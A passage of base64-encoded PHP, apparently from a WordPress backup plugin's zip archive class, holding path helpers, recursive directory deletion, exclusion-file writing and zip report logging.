vdXNseSBzZXQgc2FwaSBuYW1lCgkJICoKCQkgKglAcmV0dXJuCXN0cmluZwkJCVRoZSBzdG9yZWQgc2FwaSBuYW1lCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9zYXBpX25hbWUoKSB7CgkJCQoJCQlyZXR1cm4gJHRoaXMtPl9zYXBpX25hbWU7CgkJCQoJCX0KCgkJLyoqCgkJICoJZ2V0X3N0YXR1cygpCgkJICoJCgkJICoJUmV0dXJucyB0aGUgc3RhdHVzIGFycmF5CgkJICoJCgkJICoJQHJldHVybgkJYXJyYXkJVGhlIHN0YXR1cyBhcnJheQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9zdGF0dXMoKSB7CgkJCgkJCXJldHVybiAkdGhpcy0+X3N0YXR1czsKCQkKCQl9CgkJCgkJLyoqCgkJICoJbG9nX2FyY2hpdmVfZmlsZV9zdGF0cygpCgkJICoJCgkJICoJUHJvZHVjZWQgYSBzdGF0dXMgbG9nIGVudHJ5IGZvciB0aGUgYXJjaGl2ZSBmaWxlIHN0YXRzCgkJICoJCgkJICoJQHBhcmFtCXN0cmluZwkkZmlsZQlUaGUgZmlsZSB0byBzdGF0IGFuZCBhbmQgbG9nCgkJICoJQHJldHVybgkJCgkJICoKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gbG9nX2FyY2hpdmVfZmlsZV9zdGF0cyggJGZpbGUgKSB7CgkJCgkJCS8vIEdldCB0aGUgZmlsZSBzdGF0cyBzbyB3ZSBjYW4gbG9nIHNvbWUgaW5mb3JtYXRpb24KCQkJJGZpbGVfc3RhdHMgPSBwbHVnaW5idWRkeV9zdGF0OjpzdGF0KCAkZmlsZSApOwoJCQkKCQkJLy8gT25seSBsb2cgYW55dGhpbmcgaWYgd2UgZ290IHNvbWUgdmFsaWQgZmlsZSBzdGF0cwoJCQlpZiAoIGZhbHNlICE9PSAkZmlsZV9zdGF0cyApIHsKCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCAnWmlwIEFyY2hpdmUgZmlsZSBzaXplOiAlMSRzIGJ5dGVzLCBvd25lZCBieSB1c2VyOmdyb3VwICUyJHM6JTMkcyB3aXRoIHBlcm1pc3Npb25zICU0JHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGZpbGVfc3RhdHNbICdkc2l6ZScgXSwgJGZpbGVfc3RhdHNbICd1aWQnIF0sICRmaWxlX3N0YXRzWyAnZ2lkJyBdLCAkZmlsZV9zdGF0c1sgJ21vZGVfb2N0YWxfZm91cicgXSApICk7CgoJCQl9CgkJCQoJCX0KCgkJLyoqCgkJICoJZ2V0X21ldGhvZF90YWcoKQoJCSAqCQoJCSAqCVJldHVybnMgdGhlIChzdGF0aWMpIG1ldGhvZCB0YWcKCQkgKgkKCQkgKglAcmV0dXJuCQlzdHJpbmcgVGhlIG1ldGhvZCB0YWcKCQkgKgoJCSAqLwoJCWFic3RyYWN0IHB1YmxpYyBmdW5jdGlvbiBnZXRfbWV0aG9kX3RhZygpOwoKCQkvKioKCQkgKglnZXRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2QoKQoJCSAqCQoJCSAqCVJldHVybnMgdGhlIChzdGF0aWMpIGlzX2NvbXBhdGliaWxpdHlfbWV0aG9kIGJvb2xlYW4KCQkgKgkKCQkgKglAcmV0dXJuCQlib29sCgkJICoKCQkgKi8KCQlhYnN0cmFjdCBwdWJsaWMgZnVuY3Rpb24gZ2V0X2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kKCk7CgoJCS8qKgoJCSAqCWdldF9tZXRob2RfZGV0YWlscygpCgkJICoJCgkJICoJUmV0dXJucyB0aGUgZGV0YWlscyBhcnJheQoJCSAqCQoJCSAqCUByZXR1cm4JCWFycmF5CgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X21ldGhvZF9kZXRhaWxzKCkgewoJCQoJCQlyZXR1cm4gJHRoaXMtPl9tZXRob2RfZGV0YWlsczsKCQkJCgkJfQoKCQkvKioKCQkgKglzZXRfbWV0aG9kX2RldGFpbHMoKQoJCSAqCQoJCSAqCVNldHMgdGhlIGludGVybmFsIChzZXR0YWJsZSkgZGV0YWlscwoJCSAqCQoJCSAqCUBwYXJhbQkJYXJyYXkKCQkgKglAcmV0dXJuCQludWxsCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gc2V0X21ldGhvZF9kZXRhaWxzKCBhcnJheSAkZGV0YWlscywgJG1lcmdlID0gdHJ1ZSApIHsKCQkKCQkJaWYgKCB0cnVlID09PSAkbWVyZ2UgKSB7CgkJCQoJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF0gPSBhcnJheV9tZXJnZSggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF0sICRkZXRhaWxzWyAnYXR0cicgXSApOwoJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdID0gYXJyYXlfbWVyZ2UoICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXSwgJGRldGFpbHNbICdwYXJhbScgXSApOwoJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzID0gJGRldGFpbHM7CgkJCQoJCQl9CgkJCQoJCQlyZXR1cm4gJHRoaXM7CgkJCQkJCQoJCX0KCgkJLyoqCgkJICoJZ2V0X2V4ZWN1dGFibGVfcGF0aHMoKQoJCSAqCQoJCSAqCVJldHVybnMgdGhlIGV4ZWN1dGFibGVfcGF0aHMgYXJyYXkKCQkgKgkKCQkgKglAcmV0dXJuCQlhcnJheQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9leGVjdXRhYmxlX3BhdGhzKCkgewoJCQoJCQlyZXR1cm4gJHRoaXMtPl9leGVjdXRhYmxlX3BhdGhzOwoJCQkKCQl9CgoJCS8qKgoJCSAqCXNldF9leGVjdXRhYmxlX3BhdGhzKCkKCQkgKgkKCQkgKglTZXRzIHRoZSBleGVjdXRhYmxlX3BhdGhzIGFycmF5IHNvIGNhbiBiZSB1c2VkIHRvIGF1Z21lbnQgb3Igb3ZlcnJpZGUgdGhlIGRlZmF1bHQKCQkgKgkKCQkgKglAcGFyYW0JCSRwYXRocwlhcnJheQlQYXRocyB0byBzZXQgb3IgbWVyZ2UKCQkgKglAcGFyYW0JCSRtZXJnZQlib29sCVRydWUgKGRlZmF1bHQpIGlmIG1lcmdpbmcgcGF0aHMgd2l0aCBjdXJyZW50IHBhdGhzCgkJICoJQHBhcmFtCQkkYmVmb3JlCWJvb2wJVHJ1ZSAoZGVmYXVsdCkgaWYgcGF0aHMgdG8gYmUgcHJlcGVuZGVkCgkJICoJQHJldHVybgkJbnVsbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNldF9leGVjdXRhYmxlX3BhdGhzKCBhcnJheSAkcGF0aHMsICRtZXJnZSA9IHRydWUsICRiZWZvcmUgPSB0cnVlICkgewoJCQoJCQlpZiAoIHRydWUgPT09ICRtZXJnZSApIHsKCQkJCgkJCQlpZiAoIHRydWUgPT09ICRiZWZvcmUgKSB7CgkJCQkKCQkJCQkkdGhpcy0+X2V4ZWN1dGFibGVfcGF0aHMgPSBhcnJheV9tZXJnZSggJHBhdGhzLCAkdGhpcy0+X2V4ZWN1dGFibGVfcGF0aHMgKTsKCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQoJCQkJCSR0aGlzLT5fZXhlY3V0YWJsZV9wYXRocyA9IGFycmF5X21lcmdlKCAkdGhpcy0+X2V4ZWN1dGFibGVfcGF0aHMsICRwYXRocyApOwoJCQkJCgkJCQl9CgkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCSR0aGlzLT5fZXhlY3V0YWJsZV9wYXRocyA9ICRwYXRoczsKCQkJCgkJCX0KCQkJCgkJCXJldHVybiAkdGhpczsKCQkJCQkJCgkJfQoKCQkvKioKCQkgKglkZWxldGVfZGlyZWN0b3J5X3JlY3Vyc2l2ZSgpCgkJICoJCgkJICoJUmVjdXJzaXZlbHkgZGVsZXRlIGEgZGlyZWN0b3J5IGFuZCBpdCdzIGNvbnRlbnQKCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkZGlyZWN0b3J5CURpcmVjdG9yeSB0byBkZWxldGUKCQkgKglAcmV0dXJuCQlib29sCQkJCVRydWUgaWYgb3BlcmF0aW9uIGZ1bGx5IHN1Y2Nlc3NmdWwsIG90aGVyd2lzZSBmYWxzZQoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGRlbGV0ZV9kaXJlY3RvcnlfcmVjdXJzaXZlKCAkZGlyZWN0b3J5ICkgewoJCQlpZiAoICcnID09ICRkaXJlY3RvcnkgKSB7CgkJCQllcnJvcl9sb2coICdCYWNrdXBCdWRkeSBFcnJvciAjNDczODQzYzogSGFsdGVkIGVtcHR5IGRpcmVjdG9yeSBkZWxldGlvbi4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCgkJCS8vIFJlbW92ZSBhbnkgdHJhaWxpbmcgZGlyZWN0b3J5IHNlcGFyYXRvciBzbyB3ZSBrbm93IHdoZXJlIHdlIGFyZQoJCQkkZGlyZWN0b3J5ID0gcnRyaW0oICRkaXJlY3RvcnksIHNlbGY6OkRJUkVDVE9SWV9TRVBBUkFUT1JTICk7CgkJCQoJCQkvLyBOb24tZXhpc3RlbnQgZGlyZWN0b3J5IHNvIHByZXRlbmQgd2UgZGVsZXRlZCBpdCBvawoJCQlpZiAoICFmaWxlX2V4aXN0cyggJGRpcmVjdG9yeSApICkgewoJCQkKCQkJCXJldHVybiB0cnVlOwoJCQkJCgkJCX0KCgkJCS8vIE1ha2Ugc3VyZSBpdCB3YXNuJ3QganVzdCBhIGZpbGUgb3IgbGluayAtIGlmIHNvIGp1c3QgZGVsZXRlIGl0IGFuZCByZXR1cm4JCQkKCQkJaWYgKCAhaXNfZGlyKCAkZGlyZWN0b3J5ICkgfHwgaXNfbGluayggJGRpcmVjdG9yeSApICkgewoJCQkKCQkJCXJldHVybiBAdW5saW5rKCAkZGlyZWN0b3J5ICk7CgkJCQkKCQkJfQoJCQkKCQkJLy8gU28gaXQgaXMgYSBkaXJlY3Rvcnkgc28gcHJvY2VzcyBjb250ZW50CgkJCWZvcmVhY2ggKCBzY2FuZGlyKCAkZGlyZWN0b3J5ICkgYXMgJGl0ZW0gKSB7CgkJCQoJCQkJLy8gU2tpcCB0aGUgdGhpcyBhbmQgcGFyZW50IGRpcmVjdG9yaWVzCgkJCQlpZiAoICRpdGVtID09ICcuJyB8fCAkaXRlbSA9PSAnLi4nICkgewoJCQkJCgkJCQkJY29udGludWU7CgkJCQkJCgkJCQl9CgkJCQkKCQkJCS8vIERlbGV0ZSB0aGUgaXRlbSBpZiB3ZSBjYW4JCQkKCQkJCWlmICggISR0aGlzLT5kZWxldGVfZGlyZWN0b3J5X3JlY3Vyc2l2ZSggJGRpcmVjdG9yeSAuICIvIiAuICRpdGVtICkgKSB7CgkJCQkKCQkJCQkvLyBUT0RPOiBTdXBwb3NlZGx5IGNoYW5nZSB0aGUgcGVybXMgb24gdGhlIGl0ZW0gc28gd2UgY2FuIGRlbGV0ZSBpdD8KCQkJCQlAY2htb2QoICRkaXJlY3RvcnkgLiAiLyIgLiAkaXRlbSwgMDc3NyApOwoJCQkJCQoJCQkJCWlmICggISR0aGlzLT5kZWxldGVfZGlyZWN0b3J5X3JlY3Vyc2l2ZSggJGRpcmVjdG9yeSAuICIvIiAuICRpdGVtICkgKSB7CgkJCQkJCgkJCQkJCXJldHVybiBmYWxzZTsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJCXJldHVybiBAcm1kaXIoICRkaXJlY3RvcnkgKTsKCQkJCQoJCX0KCQkKCQkvKglfcmVuZGVyX2V4Y2x1c2lvbnNfZmlsZSgpCgkJICoJCgkJICoJZnVuY3Rpb24gZGVzY3JpcHRpb24KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJJGZpbGUJCQlGaWxlIHRvIHdyaXRlIGV4Y2x1c2lvbnMgaW50by4KCQkgKglAcGFyYW0JCWFycmF5CQkkZXhjbHVzaW9ucwkJQXJyYXkgb2YgZGlyZWN0b3JpZXMvcGF0aHMgdG8gZXhjbHVkZS4gT25lIHBlciBsaW5lLgoJCSAqCUBwYXJhbQkJYXRyaW5nCQkkcm9vdAkJCVJvb3QgZGlyZWN0b3J5IHRvIGV4Y2x1ZGUgcmVsYXRpdmUgdG8uCgkJICoJQHJldHVybgkJbnVsbAoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBfcmVuZGVyX2V4Y2x1c2lvbnNfZmlsZSggJGZpbGUsICRleGNsdXNpb25zLCAkcm9vdCA9ICcnICkgewoJCQlpZiAoICcnID09ICRyb290ICkgewoJCQkJJHJvb3QgPSBBQlNQQVRIOwoJCQl9IGVsc2UgewoJCQkJJHJvb3QgPSBydHJpbSggJHJvb3QsIERJUkVDVE9SWV9TRVBBUkFUT1IgKSAuIERJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCX0KCgkJCS8vIEFycmF5IGZvciBjbGVhbmVkIHVwIGV4Y2x1c2lvbnMgbGlzdAoJCQkkc2FuaXRpemVkX2V4Y2x1c2lvbnMgPSBhcnJheSgpOwoJCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ3JlYXRpbmcgYmFja3VwIGV4Y2x1c2lvbnMgZmlsZSBgJyAuICRmaWxlIC4gJ2AuJyApOwoJCQkvLyRleGNsdXNpb25zID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X2RpcmVjdG9yeV9leGNsdXNpb25zKCk7CgkJCQoJCQkvLyBUZXN0IGVhY2ggZXhjbHVzaW9uIGZvciB2YWxpZGl0eSAocHJlc2VuY2UpIGFuZCBkcm9wIHRob3NlIG5vdCBhY3R1YWxseSBwcmVzZW50CgkJCWZvcmVhY2goICRleGNsdXNpb25zIGFzICRleGNsdXNpb24gKSB7CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSBwbGF0Zm9ybSBzcGVjaWZpYyBkaXJlY3Rvcnkgc2VwYXJhdG9ycyBhcmUgdXNlZCAoY291bGQgaGF2ZSBtaWdyYXRlZCBmcm9tIGRpZmZlcmVudCBwbGF0Zm9ybSkKCQkJCSRleGNsdXNpb24gPSBwcmVnX3JlcGxhY2UoICd8WycgLiBhZGRzbGFzaGVzKCBzZWxmOjpESVJFQ1RPUllfU0VQQVJBVE9SUyApIC4gJ10rfCcsIERJUkVDVE9SWV9TRVBBUkFUT1IsICRleGNsdXNpb24gKTsKCQkJCQoJCQkJLy8gRElSRUNUT1JZLgoJCQkJaWYgKCBpc19kaXIoICRyb290IC4gbHRyaW0oICRleGNsdXNpb24sIERJUkVDVE9SWV9TRVBBUkFUT1IgKSApICkgewoJCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0V4Y2x1ZGluZyBkaXJlY3RvcnkgYCcgLiAkZXhjbHVzaW9uIC4gJ2AuJyApOwoJCQkJCQoJCQkJCS8vIE5lZWQgdG8gYWRkIHRoZSB3aWxkY2FyZCBzbyB0aGF0IHppcCB3aWxsIGV4Y2x1ZGUgdGhlIGRpcmVjdG9yeSBhbmQgY29udGVudAoJCQkJCSRleGNsdXNpb24gPSBydHJpbSggJGV4Y2x1c2lvbiwgRElSRUNUT1JZX1NFUEFSQVRPUiApIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICcqJzsKCQkJCQoJCQkJLy8gRklMRS4KCQkJCX0gZWxzZWlmICggaXNfZmlsZSggJHJvb3QgLiBsdHJpbSggJGV4Y2x1c2lvbiwgRElSRUNUT1JZX1NFUEFSQVRPUiApICkgKSB7CgkJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRXhjbHVkaW5nIGZpbGUgYCcgLiAkZXhjbHVzaW9uIC4gJ2AuJyApOwoJCQkJCgkJCQkvLyBTWU1CT0xJQyBMSU5LLgoJCQkJfSBlbHNlaWYgKCBpc19saW5rKCAkcm9vdCAuIGx0cmltKCAkZXhjbHVzaW9uLCBESVJFQ1RPUllfU0VQQVJBVE9SICkgKSApIHsKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdFeGNsdWRpbmcgc3ltYm9saWMgbGluayBgJyAuICRleGNsdXNpb24gLiAnYC4nICk7CgkJCQkKCQkJCS8vIERPRVMgTk9UIEVYSVNULgoJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdPbWl0dGluZyBleGNsdXNpb24gYXMgZmlsZS9kaXJlY3RvcnkgZG9lcyBub3QgY3VycmVudGx5IGV4aXN0OiBgJyAuICRleGNsdXNpb24gLiAnYC4nICk7CgkJCQkJCgkJCQkJLy8gU2tpcCB0byBuZXh0IGV4Y2x1c2lvbgoJCQkJCWNvbnRpbnVlOwoJCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyBXZSBoYXZlIGEgdmFsaWQgZXhjbHVkZSBzbyBhZGQgaXQKCQkJCSRzYW5pdGl6ZWRfZXhjbHVzaW9uc1tdID0gJGV4Y2x1c2lvbjsKCQkJCQoJCQl9CgkJCQoJCQkvLyBQdXQgdGhlIGV4Y2x1c2lvbnMgdG8gYSBmaWxlIGFzIGEgc3RyaW5nCgkJCWZpbGVfcHV0X2NvbnRlbnRzKCAkZmlsZSwgaW1wbG9kZSggUEhQX0VPTCwgJHNhbml0aXplZF9leGNsdXNpb25zICkgLiBQSFBfRU9MICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0JhY2t1cCBleGNsdXNpb25zIGZpbGUgY3JlYXRlZC4nICk7CgkJCQoJCX0gLy8gRW5kIHJlbmRlcl9leGNsdXNpb25zX2ZpbGUoKS4KCQkKCQkvKioKCQkgKglzbGFzaGlmeSgpCgkJICoKCQkgKglBIGZ1bmN0aW9uIHRvIGFkZCBhIHNsYXNoIHRvIHRoZSBlbmQgb2YgYSBwYXRoLiBJdCBpcyBtdWNoIGxpa2UgdGhlIFdvcmRQcmVzcyB0cmFpbGluZ3NsYXNoaXQoKQoJCSAqCWJ1dCBhbGxvd3MgZm9yIG5vdCBhZGRpbmcgYSBzbGFzaCB0byBhbiBlbXB0eSBwYXRoLiBXaWxsIGFkZCBhIG5vcm1hbGl6ZWQgc2xhc2ggdW5sZXNzIG92ZXJyaWRkZW4KCQkgKglOb3RlOiBXaWxsIG5vdCBwcm9jZXNzIGFueSBlbWJlZGRlZCBkaXJlY3Rvcnkgc2VwYXJhdG9ycwoJCSAqCgkJICoJQHBhcmFtCXN0cmluZwkkcGF0aAkJCQkJVGhlIHBhdGggdG8gYWRkIGEgdHJhaWxpbmcgc2xhc2ggdG8KCQkgKglAcGFyYW0JYm9vbAkkaWdub3JlX2VtcHR5CQkJVHJ1ZSAoZGVmYXVsdCkgaWYgc2hvdWxkIF9ub3RfIGFkZCBhIHRyYWlsaW5nIHNsYXNoIHRvIGFuIGVtcHR5IHBhdGgKCQkgKglAcGFyYW0JYm9vbAkkdXNlX25vcm1hbGl6ZWRfc2xhc2gJVHJ1ZSAoZGVmYXVsdCkgdG8gYWRkIGEgbm9ybWFsaXplZCBzbGFzaCwgb3RoZXJ3aXNlIGFkZCBwbGF0Zm9ybSBzZXBhcmF0b3IKCQkgKglAcmV0dXJuCXN0cmluZwkJCQkJCQlUaGUgcGF0aCB3aXRoIHRyYWlsaW5nIHNsYXNoIG9wdGlvbmFsbHkgYWRkZWQKCQkgKgoJCSAqLwoJCSAKCQkgcHJvdGVjdGVkIGZ1bmN0aW9uIHNsYXNoaWZ5KCAkcGF0aCwgJGlnbm9yZV9lbXB0eSA9IHRydWUsICR1c2Vfbm9ybWFsaXplZF9zbGFzaCA9IHRydWUgKSB7CgkJIAoJCSAJLy8gQ2hlY2sgaWYgaXQgaXMgZW1wdHkgbm93IGJlZm9yZSB3ZSBtYXkgcmVtb3ZlIGEgc2luZ2xlIHNsYXNoCgkJIAlpZiAoICEgKCBlbXB0eSggJHBhdGggKSAmJiAoIHRydWUgPT09ICRpZ25vcmVfZW1wdHkgKSApICkgewoJCSAJCgkJCQkvLyBGaXJzdCByZW1vdmUgYW55IHRyYWlsaW5nIHNsYXNoIHRoYXQgbWF5IGJlIHByZXNlbnQKCQkJCSRwYXRoID0gJHRoaXMtPnVuc2xhc2hpZnkoICRwYXRoICk7CgkJCQkKCQkJCWlmICggdHJ1ZSA9PT0gJHVzZV9ub3JtYWxpemVkX3NsYXNoICkgewoJCQkJCgkJCQkJJHBhdGggPSAkcGF0aCAuIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCSRwYXRoID0gJHBhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SOwoJCQkJCgkJCQl9CgkJCQkKCQkgCX0KCQkgCQoJCSAJcmV0dXJuICRwYXRoOwoJCSAKCQkgfQoJCQoJCS8qKgoJCSAqCXVuc2xhc2hpZnkoKQoJCSAqCgkJICoJQSBmdW5jdGlvbiB0byByZW1vdmUgYSBzbGFzaCB0byB0aGUgZW5kIG9mIGEgcGF0aC4gSXQgaXMgbXVjaCBsaWtlIHRoZSBXb3JkUHJlc3MgdW50cmFpbGluZ3NsYXNoaXQoKQoJCSAqCWJ1dCBjb3BlcyB3aXRoIGVpdGhlciBmb3JtIG9mIHRyYWlsaW5nIHNsYXNoLgoJCSAqCU5vdGU6IFdpbGwgbm90IHByb2Nlc3MgYW55IGVtYmVkZGVkIGRpcmVjdG9yeSBzZXBhcmF0b3JzIGFuZCBtYXkgcHJvZHVjZSBhbiBlbXB0eSBwYXRoLgoJCSAqCgkJICoJQHBhcmFtCXN0cmluZwkkcGF0aAkJCQkJVGhlIHBhdGggdG8gcmVtb3ZlIGEgdHJhaWxpbmcgc2xhc2ggZnJvbQoJCSAqCUBwYXJhbQlib29sCSRpZ25vcmVfZW1wdHkJCQlUcnVlIChkZWZhdWx0KSBpZiBzaG91bGQgcHJvY2VlZCBldmVuIGlmIHdpbGwgcHJvZHVjZSBhbiBlbXB0eSBwYXRoCgkJICoJQHJldHVybglzdHJpbmcJCQkJCQkJVGhlIHBhdGggd2l0aCB0cmFpbGluZyBzbGFzaCByZW1vdmVkCgkJICoKCQkgKi8KCQkgCgkJIHByb3RlY3RlZCBmdW5jdGlvbiB1bnNsYXNoaWZ5KCAkcGF0aCwgJGlnbm9yZV9lbXB0eSA9IHRydWUgKSB7CgkJIAoJCSAJLy8gQ3JlYXRlIGEgY2FuZGlkYXRlIHBhdGggdG8gb3B0aW9uYWxseSByZXR1cm4KCQkgCSRjYW5kaWRhdGVfcGF0aCA9IHJ0cmltKCAkcGF0aCwgc2VsZjo6RElSRUNUT1JZX1NFUEFSQVRPUlMgKTsKCQkgCgkJIAkvLyBJZiBjYW5kaWRhdGUgaXNuJ3QgZW1wdHkgb3Igd2UncmUgaWdub3JpbmcgaXQgYmVpbmcgZW1wdHkgYW55d2F5CgkJIAlpZiAoICFlbXB0eSggJGNhbmRpZGF0ZV9wYXRoICkgfHwgKCB0cnVlID09PSAkaWdub3JlX2VtcHR5ICkgKSB7CgkJIAkKCQkJCSRwYXRoID0gJGNhbmRpZGF0ZV9wYXRoOwoJCQkJCgkJIAl9CgkJIAkKCQkgCXJldHVybiAkcGF0aDsKCQkgCgkJIH0KCQkKCQkvKioKCQkgKglsb2dfemlwX3JlcG9ydHMoKQoJCSAqCgkJICoJQSBmdW5jdGlvbiB0byBwcm9jZXNzIHJlcG9ydHMgcGFyc2VkIGZyb20gdGhlIHppcCBwcm9jZXNzIG91dHB1dCBhbmQgbG9nIHRoZW0gYW5kIG9wdGlvbmFsbHkKCQkgKglzZW5kIHRvIGEgZmlsZSBpZiB0aGVyZSBhcmUgYSBsb3Qgb2YgcmVwb3J0cy4gSWYgdGhlIG51bWJlciBvZiByZXBvcnRzIGlzIHN1Y2ggdGhhdCB0aGV5IHJlcXVpcmUKCQkgKgl0byBiZSB3cml0dGVuIHRvIGEgZmlsZSB0aGVuIGFsbCB0aGUgcmVwb3J0cyB3aWxsIGJlIHdyaXR0ZW4gdG8gdGhlIGZpbGUsIG5vdCBqdXN0IHRoZSBvdmVyZmxvdy4KLgkJICoKCQkgKglAcGFyYW0JYXJyYXkJJHJlcG9ydHNfbG9nCQkJYXJyYXkgY29udGFpbmluZyB0aGUgdHlwZSBvZiByZXBvcnRzIHRvIGxvZwoJCSAqCUBwYXJhbQlhcnJheQkkcmVwb3J0c19kZXNjCQkJYXJyYXkgY29udGFpbmluZyB0ZXh0IGRlc2NyaXB0aW9uIG9mIHJlcG9ydCByZWFzb24KCQkgKglAcGFyYW0Jc3RyaW5nCSRyZXBvcnRfcHJlZml4CQkJYSBwcmVmaXggc3RyaW5nIHRvIGdvIGJlZm9yZSB0aGUgcmVwb3J0IHRleHQKCQkgKglAcGFyYW0JaW50ZWdlcgkkcmVwb3J0X2xpbmVzX3RvX3Nob3cJdGhlIG51bWJlciBvZiByZXBvcnRzIHRvIHNob3cgaW4gbG9nIGJlZm9yZSBvdmVyZmxvd2luZyB0byBhIGZpbGUKCQkgKglAcGFyYW0Jc3RyaW5nCSRyZXBvcnRfZmlsZQkJCW92ZXJmbG93IGZpbGUgaWYgdG9vIG1hbnkgcmVwb3J0cyB0byBzaG93IGRpcmVjdGx5IGluIGxvZwoJCSAqCUByZXR1cm4JTi9BCQkJCQkJCQlDdXJyZW50bHkgbm8gcmV0dXJuIHBhcmFtZXRlcgoJCSAqCgkJICovCgkJIAoJCXByb3RlY3RlZCBmdW5jdGlvbiBsb2dfemlwX3JlcG9ydHMoICRyZXBvcnRzX2xvZywgJHJlcG9ydF9kZXNjLCAkcmVwb3J0X3ByZWZpeCwgJHJlcG9ydF9saW5lc190b19zaG93LCAkcmVwb3J0c19maWxlICkgewoKCQkJJHJlcG9ydHMgPSBhcnJheSgpOwoJCQkkcmVwb3J0c19jb3VudCA9IDA7CgkJCSRyZXN1bHQgPSBmYWxzZTsKCgkJCS8vIE1ha2Ugc3VyZSB3ZSBjbGVhciB1cCBhbnQgcHJldmlvdXMgcmVwb3J0cyBmaWxlIHRoYXQgbWF5IHN0aWxsIGJlIHByZXNlbnQKCQkJaWYgKCBAZmlsZV9leGlzdHMoICRyZXBvcnRzX2ZpbGUgKSApIHsKCQoJCQkJQHVubGluayggJHJlcG9ydHNfZmlsZSApOwoJCQoJCQl9CgoJCQkvLyBQYXJzZSB0aGUgcmVwb3J0cyBhcnJheSBpbnRvIGFuIG9yZGVyZWQgYXJyYXkgYmFzZWQgb24gaWQgKGxvZyBsaW5lIG51bWJlcikgYXMgc29ydCBrZXkKCQkJZm9yZWFjaCAoICRyZXBvcnRzX2xvZyBhcyAkcmVhc29uID0+ICRyZXBvcnQgKSB7CgkKCQkJCWZvcmVhY2ggKCAkcmVwb3J0IGFzICRpZCA9PiAkZmlsZW5hbWUgKSB7CgoJCQkJCSRyZXBvcnRzWyAkaWQgXSA9IHNwcmludGYoIF9fKCAnJTEkczogKCUyJHMpOiAlMyRzJyAuIFBIUF9FT0wsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRyZXBvcnRfcHJlZml4LCAkcmVwb3J0X2Rlc2NbICRyZWFzb24gXSwgJGZpbGVuYW1lICk7CgoJCQkJfQoJCgkJCX0KCQoJCQkvLyBNYWtlIHN1cmUgYXJyYXkgaXMgbm93IG9yZGVyZWQgYnkgdGhlIG51bWVyaWMgbG9nIGxpbmUgbnVtYmVyIGtleQoJCQkkcmVzdWx0ID0ga3NvcnQoICRyZXBvcnRzLCBTT1JUX05VTUVSSUMgKTsKCgkJCS8vIEFsd2F5cyBzaG93IHRoZSBmaXJzdCBudW1iZXIgb2YgbGluZXMgaW4gdGhlIGxvZwoJCQkkc2hvd19saW5lcyA9IGFycmF5X3NsaWNlKCAkcmVwb3J0cywgMCwgJHJlcG9ydF9saW5lc190b19zaG93LCB0cnVlICk7CgoJCQlmb3JlYWNoICggJHNob3dfbGluZXMgYXMgJGxpbmUgKSB7CgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1ppcCBwcm9jZXNzIHJlcG9ydGVkOiAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJGxpbmUgKTsKCgkJCX0KCQkKCQkJLy8gSWYgdGhlcmUgd2VyZSBtb3JlIGxpbmVzIHRoZW4gb3V0cHV0IHRoZSB3aG9sZSB0byB0aGUgcmVwb3J0IGZpbGUKCQkJJHJlcG9ydHNfY291bnQgPSBzaXplb2YoICRyZXBvcnRzICk7CgkJCWlmICggJHJlcG9ydHNfY291bnQgID4gJHJlcG9ydF9saW5lc190b19zaG93ICkgewoJCgkJCQlAZmlsZV9wdXRfY29udGVudHMoICRyZXBvcnRzX2ZpbGUsICRyZXBvcnRzICk7CgkJCgkJCQlpZiAoIEBmaWxlX2V4aXN0cyggJHJlcG9ydHNfZmlsZSApICkgewoJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJyw